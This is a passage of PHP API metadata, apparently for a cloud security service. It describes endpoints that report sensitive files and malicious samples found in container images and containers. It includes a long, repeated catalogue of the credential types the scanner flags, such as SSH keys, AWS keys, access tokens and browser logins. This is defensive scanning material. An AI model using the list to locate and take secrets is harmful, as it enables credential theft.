'本次查询是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8D19A089-E6BC-5244-800C-7E590D50487F', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SensitiveFileList\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"SensitiveFileKey\\": \\"google_oauth_key\\",\\n \\"SensitiveFileName\\": \\"AccessKeyLeak\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663321552000,\\n \\"Count\\": 9,\\n \\"ClassKey\\": \\"password\\",\\n \\"ClassName\\": \\"password\\",\\n \\"UnprocessedNum\\": 2,\\n \\"Advice\\": \\"PEM（Privacy Enhanced Mail）格式是一种常见的数字证书格式，PEM格式的文件可以包含证书，公钥，私钥等信息。在PEM文件未被加密或密码强度不够，密码被泄露的场景，存在更高风险。该检测项旨在发现PEM文件。\\",\\n \\"Description\\": \\"根据业务情况评估风险，及时移除风险内容。\\",\\n \\"Status\\": 0\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 1,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2N******\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8D19A089-E6BC-5244-800C-7E590D50487F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询敏感文件', + ], + 'DescribeImageSensitiveFileByKey' => [ + 'summary' => '查询镜像的敏感文件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '157987', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SensitiveFileKey', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件告警类型。取值：'."\n" + ."\n" + .'- **npm_token**：NPM访问令牌'."\n" + .'- **ftp_cfg**：FTP配置'."\n" + .'- **google\\_oauth_key**：Google OAuth Key'."\n" + .'- **planetscale_passwd**：Planetscale密码'."\n" + .'- **github\\_ssh_key**：Github SSH密钥'."\n" + .'- **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .'- **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .'- **ssh\\_private_key**：SSH私钥'."\n" + .'- **aws_cli**：AWS CLI凭证'."\n" + .'- **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .'- **postgresql_passwd**：PostgreSQL密码文件'."\n" + .'- **discord\\_client_cred**：Discord客户端凭证'."\n" + .'- **rails_database**：Rails数据库配置'."\n" + .'- **aws\\_access_key**：AWS Access Key'."\n" + .'- **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .'- **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .'- **pem**：PEM'."\n" + .'- **common_cred**：通用凭证'."\n" + .'- **sftp_cfg**：SFTP连接配置'."\n" + .'- **grafana_token**：Grafana令牌'."\n" + .'- **slack_token**：Slack Token'."\n" + .'- **ec\\_private_key**：EC私钥'."\n" + .'- **pypi_token**：PyPI上传Token'."\n" + .'- **finicity_token**：Finicity平台令牌'."\n" + .'- **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .'- **git_cfg**：Git配置'."\n" + .'- **django_key**：Django密钥'."\n" + .'- **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .'- **openssh\\_private_key**：OPENSSH私钥'."\n" + .'- **square_oauth**：Square OAuth凭证'."\n" + .'- **typeform_token**：Typeform 令牌'."\n" + .'- **common\\_database_cfg**：通用数据库连接配置'."\n" + .'- **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .'- **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .'- **vscode_sftp**：VSCode SFTP配置'."\n" + .'- **apache_htpasswd**：Apache htpasswd'."\n" + .'- **planetscale_token**：Planetscale令牌'."\n" + .'- **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .'- **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .'- **atom\\_remote_sync**：Atom远程同步配置'."\n" + .'- **aws\\_session_token**：AWS会话令牌'."\n" + .'- **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .'- **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .'- **tencentcloud_ak**：他云SecretId'."\n" + .'- **rsa\\_private_key**：RSA私钥'."\n" + .'- **github\\_personal_token**：Github Personal访问令牌'."\n" + .'- **pgp**：PGP加密文件'."\n" + .'- **stripe_skpk**：Stripe Secret Key'."\n" + .'- **square_token**：Square访问令牌'."\n" + .'- **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .'- **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .'- **robomongo_cred**：Robomongo凭证'."\n" + .'- **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .'- **pulumi_token**：Pulumi令牌'."\n" + .'- **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .'- **macos\\_keychain**：macOS钥匙串'."\n" + .'- **amazon\\_mws_token**：Amazon MWS Token'."\n" + .'- **dynatrace_token**：Dynatrace令牌'."\n" + .'- **java_keystore**：Java密钥库'."\n" + .'- **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .'- **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .'- **atlassian_token**：Atlassian 令牌'."\n" + .'- **rdp**：远程桌面连接RDP'."\n" + .'- **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .'- **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .'- **netrc_cfg**：.netrc配置文件'."\n" + .'- **openvpn_cfg**：OpenVPN客户端配置'."\n" + .'- **github\\_refresh_token**：Github Refresh Token'."\n" + .'- **salesforce**：Salesforce凭证'."\n" + .'- **sendinblue**：Sendinblue令牌'."\n" + .'- **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .'- **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .'- **filezilla_ftp**：FileZilla FTP配置'."\n" + .'- **databricks_token**：Databricks令牌'."\n" + .'- **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .'- **rails\\_master_key**：Rails Master Key'."\n" + .'- **sqlite**：SQLite3/SQLite数据库'."\n" + .'- **firefox_logins**：Firefox登录配置'."\n" + .'- **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .'- **joomla_cfg**：Joomla 配置'."\n" + .'- **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .'- **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .'- **heroku\\_api_key**：Heroku API key'."\n" + .'- **messagebird_token**：MessageBird令牌'."\n" + .'- **github\\_app_token**：Github App Token'."\n" + .'- **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .'- **pgp\\_private_key**：PGP私钥'."\n" + .'- **sshpasswd**：SSH密码'."\n" + .'- **huaweicloud_ak**：他云Secret Access Key'."\n" + .'- **aws_s3cmd**：AWS S3cmd配置'."\n" + .'- **php_config**：Php配置'."\n" + .'- **common\\_private_key**：常见私钥类型'."\n" + .'- **microsoft_mdf**：Microsoft SQL数据库'."\n" + .'- **mediawiki_cfg**：MediaWiki配置'."\n" + .'- **jenkins_cred**：Jenkins凭证'."\n" + .'- **rubygems_cred**：Rubygems凭证'."\n" + .'- **clojars_token**：Clojars 令牌'."\n" + .'- **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .'- **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .'- **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .'- **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .'- **lob\\_api_key**：Lob API Key'."\n" + .'- **pkcs_cred**：PKCS＃12证书'."\n" + .'- **otr\\_private_key**：OTR私钥'."\n" + .'- **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .'- **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .'- **dsa\\_private_key**：DSA私钥'."\n" + .'- **rails\\_app_token**：Rails App令牌'."\n" + .'- **git_cred**：Git用户凭证'."\n" + .'- **newrelic\\_api_key**：New Relic User API Key'."\n" + .'- **github_hub**：存储Github令牌的hub配置'."\n" + .'- **rubygem**：Rubygem令牌', + 'type' => 'string', + 'required' => false, + 'example' => 'google_oauth_key', + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '0083a31ccf7c10367a6e783e8601****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + 'default' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '查询镜像的敏感文件返回结果。', + 'type' => 'object', + 'properties' => [ + 'SensitiveFileList' => [ + 'description' => '镜像敏感文件信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/usr/lib/abc.txt', + ], + 'LayerDigest' => [ + 'description' => '镜像层的摘要。', + 'type' => 'string', + 'example' => '0083a31cc0083a31ccf7c10367a6e783e8601e290f7c10367a6e783e860****', + ], + 'Promt' => [ + 'description' => '敏感内容。', + 'type' => 'string', + 'example' => 'AKPIDteow289f9s************', + ], + 'Advice' => [ + 'description' => '建议。', + 'type' => 'string', + 'example' => 'Assess risks based on business conditions, remove risky content, and rebuild image', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'low', + ], + 'SensitiveFileKey' => [ + 'description' => '敏感文件告警类型。取值：'."\n" + ."\n" + .'- **npm_token**：NPM访问令牌'."\n" + .'- **ftp_cfg**：FTP配置'."\n" + .'- **google\\_oauth_key**：Google OAuth Key'."\n" + .'- **planetscale_passwd**：Planetscale密码'."\n" + .'- **github\\_ssh_key**：Github SSH密钥'."\n" + .'- **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .'- **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .'- **ssh\\_private_key**：SSH私钥'."\n" + .'- **aws_cli**：AWS CLI凭证'."\n" + .'- **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .'- **postgresql_passwd**：PostgreSQL密码文件'."\n" + .'- **discord\\_client_cred**：Discord客户端凭证'."\n" + .'- **rails_database**：Rails数据库配置'."\n" + .'- **aws\\_access_key**：AWS Access Key'."\n" + .'- **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .'- **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .'- **pem**：PEM'."\n" + .'- **common_cred**：通用凭证'."\n" + .'- **sftp_cfg**：SFTP连接配置'."\n" + .'- **grafana_token**：Grafana令牌'."\n" + .'- **slack_token**：Slack Token'."\n" + .'- **ec\\_private_key**：EC私钥'."\n" + .'- **pypi_token**：PyPI上传Token'."\n" + .'- **finicity_token**：Finicity平台令牌'."\n" + .'- **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .'- **git_cfg**：Git配置'."\n" + .'- **django_key**：Django密钥'."\n" + .'- **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .'- **openssh\\_private_key**：OPENSSH私钥'."\n" + .'- **square_oauth**：Square OAuth凭证'."\n" + .'- **typeform_token**：Typeform 令牌'."\n" + .'- **common\\_database_cfg**：通用数据库连接配置'."\n" + .'- **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .'- **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .'- **vscode_sftp**：VSCode SFTP配置'."\n" + .'- **apache_htpasswd**：Apache htpasswd'."\n" + .'- **planetscale_token**：Planetscale令牌'."\n" + .'- **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .'- **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .'- **atom\\_remote_sync**：Atom远程同步配置'."\n" + .'- **aws\\_session_token**：AWS会话令牌'."\n" + .'- **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .'- **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .'- **tencentcloud_ak**：他云SecretId'."\n" + .'- **rsa\\_private_key**：RSA私钥'."\n" + .'- **github\\_personal_token**：Github Personal访问令牌'."\n" + .'- **pgp**：PGP加密文件'."\n" + .'- **stripe_skpk**：Stripe Secret Key'."\n" + .'- **square_token**：Square访问令牌'."\n" + .'- **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .'- **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .'- **robomongo_cred**：Robomongo凭证'."\n" + .'- **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .'- **pulumi_token**：Pulumi令牌'."\n" + .'- **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .'- **macos\\_keychain**：macOS钥匙串'."\n" + .'- **amazon\\_mws_token**：Amazon MWS Token'."\n" + .'- **dynatrace_token**：Dynatrace令牌'."\n" + .'- **java_keystore**：Java密钥库'."\n" + .'- **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .'- **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .'- **atlassian_token**：Atlassian 令牌'."\n" + .'- **rdp**：远程桌面连接RDP'."\n" + .'- **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .'- **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .'- **netrc_cfg**：.netrc配置文件'."\n" + .'- **openvpn_cfg**：OpenVPN客户端配置'."\n" + .'- **github\\_refresh_token**：Github Refresh Token'."\n" + .'- **salesforce**：Salesforce凭证'."\n" + .'- **sendinblue**：Sendinblue令牌'."\n" + .'- **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .'- **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .'- **filezilla_ftp**：FileZilla FTP配置'."\n" + .'- **databricks_token**：Databricks令牌'."\n" + .'- **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .'- **rails\\_master_key**：Rails Master Key'."\n" + .'- **sqlite**：SQLite3/SQLite数据库'."\n" + .'- **firefox_logins**：Firefox登录配置'."\n" + .'- **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .'- **joomla_cfg**：Joomla 配置'."\n" + .'- **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .'- **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .'- **heroku\\_api_key**：Heroku API key'."\n" + .'- **messagebird_token**：MessageBird令牌'."\n" + .'- **github\\_app_token**：Github App Token'."\n" + .'- **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .'- **pgp\\_private_key**：PGP私钥'."\n" + .'- **sshpasswd**：SSH密码'."\n" + .'- **huaweicloud_ak**：他云Secret Access Key'."\n" + .'- **aws_s3cmd**：AWS S3cmd配置'."\n" + .'- **php_config**：Php配置'."\n" + .'- **common\\_private_key**：常见私钥类型'."\n" + .'- **microsoft_mdf**：Microsoft SQL数据库'."\n" + .'- **mediawiki_cfg**：MediaWiki配置'."\n" + .'- **jenkins_cred**：Jenkins凭证'."\n" + .'- **rubygems_cred**：Rubygems凭证'."\n" + .'- **clojars_token**：Clojars 令牌'."\n" + .'- **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .'- **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .'- **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .'- **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .'- **lob\\_api_key**：Lob API Key'."\n" + .'- **pkcs_cred**：PKCS＃12证书'."\n" + .'- **otr\\_private_key**：OTR私钥'."\n" + .'- **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .'- **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .'- **dsa\\_private_key**：DSA私钥'."\n" + .'- **rails\\_app_token**：Rails App令牌'."\n" + .'- **git_cred**：Git用户凭证'."\n" + .'- **newrelic\\_api_key**：New Relic User API Key'."\n" + .'- **github_hub**：存储Github令牌的hub配置'."\n" + .'- **rubygem**：Rubygem令牌', + 'type' => 'string', + 'example' => 'google_oauth_key', + ], + 'SensitiveFileName' => [ + 'description' => '敏感文件告警类型名。', + 'type' => 'string', + 'example' => 'Google OAuth Key', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663321552000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663691592000', + ], + 'Description' => [ + 'description' => '敏感文件描述。', + 'type' => 'string', + 'example' => 'Verify the validity of the leaked AK.', + ], + 'Md5' => [ + 'description' => '敏感文件MD5值。', + 'type' => 'string', + 'example' => 'b484b0dff093f358897486b58266****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'LastRowKey' => [ + 'description' => '最后一条数据的键。', + 'type' => 'string', + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=', + ], + ], + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功。'."\n" + .'- **false**：失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '服务状态码。返回200表示请求成功。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SensitiveFileList\\": [\\n {\\n \\"FilePath\\": \\"/usr/lib/abc.txt\\",\\n \\"LayerDigest\\": \\"0083a31cc0083a31ccf7c10367a6e783e8601e290f7c10367a6e783e860****\\",\\n \\"Promt\\": \\"AKPIDteow289f9s************\\",\\n \\"Advice\\": \\"Assess risks based on business conditions, remove risky content, and rebuild image\\",\\n \\"RiskLevel\\": \\"low\\",\\n \\"SensitiveFileKey\\": \\"google_oauth_key\\",\\n \\"SensitiveFileName\\": \\"Google OAuth Key\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663691592000,\\n \\"Description\\": \\"Verify the validity of the leaked AK.\\",\\n \\"Md5\\": \\"b484b0dff093f358897486b58266****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询镜像的敏感文件', + ], + 'DescribeAffectedMaliciousFileImages' => [ + 'summary' => '查询镜像恶意文件详细信息', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91981', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'MaliciousMd5', + 'in' => 'query', + 'schema' => [ + 'description' => '指定恶意文件的MD5值。'."\n" + .'> 调用[DescribeGroupedMaliciousFiles](~~DescribeGroupedMaliciousFiles~~)接口可以获取恶意文件的MD5值。', + 'type' => 'string', + 'required' => false, + 'example' => 'd836968041f7683b5459****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，显示的当前页的页码。起始值为**1**，默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据的最大条数。默认值为**20**。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库的地域ID。取值：'."\n" + .'- **cn-beijing**：华北2（北京）'."\n" + .'- **cn-zhangjiakou**：华北3（张家口）'."\n" + .'- **cn-hangzhou**：华东1（杭州）'."\n" + .'- **cn-shanghai**：华东2（上海）'."\n" + .'- **cn-shenzhen**：华南1（深圳）'."\n" + .'- **cn-hongkong**：中国香港'."\n" + .'- **ap-southeast-1**：新加坡'."\n" + .'- **ap-southeast-5**：印度尼西亚（雅加达）'."\n" + .'- **us-east-1**：美国（弗吉尼亚）'."\n" + .'- **us-west-1**：美国（硅谷）'."\n" + .'- **eu-central-1**：德国（法兰克福）'."\n" + .'- **eu-west-1**：英国（伦敦）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定容器镜像实例ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**InstanceId**的值可以获取容器镜像实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-datvailb****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**RepoId**的值可以获取镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-vridcl4****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => ' centos', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库命名空间名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'hanghai-namespace', + ], + ], + [ + 'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像标签。', + 'type' => 'string', + 'required' => false, + 'example' => '0.2', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像摘要。', + 'type' => 'string', + 'required' => false, + 'example' => '6a5e103187b31a94592a47a5858617f7a179ead61df7606****', + ], + ], + [ + 'name' => 'ImageLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像的层。', + 'type' => 'string', + 'required' => false, + 'example' => '27213ad375b53628dd152a5ca****', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c60b77fe62093480db6164a3c2fa5****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'minikube', + ], + ], + [ + 'name' => 'ContainerId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc20a1024011c44b6a8710d6f8b****', + ], + ], + [ + 'name' => 'Pod', + 'in' => 'query', + 'schema' => [ + 'description' => '容器组。', + 'type' => 'string', + 'required' => false, + 'example' => '22222-7xsqq', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-002', + ], + ], + [ + 'name' => 'Image', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '紧急程度。多个采用英文半角逗号隔开，取值：'."\n" + .'* **serious**：紧急'."\n" + .'* **suspicious**：可疑'."\n" + .'* **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious,suspicious', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像恶意样本处理状态。取值：'."\n" + .'- **0**：未处理'."\n" + .'- **1**：已处理'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已加白', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 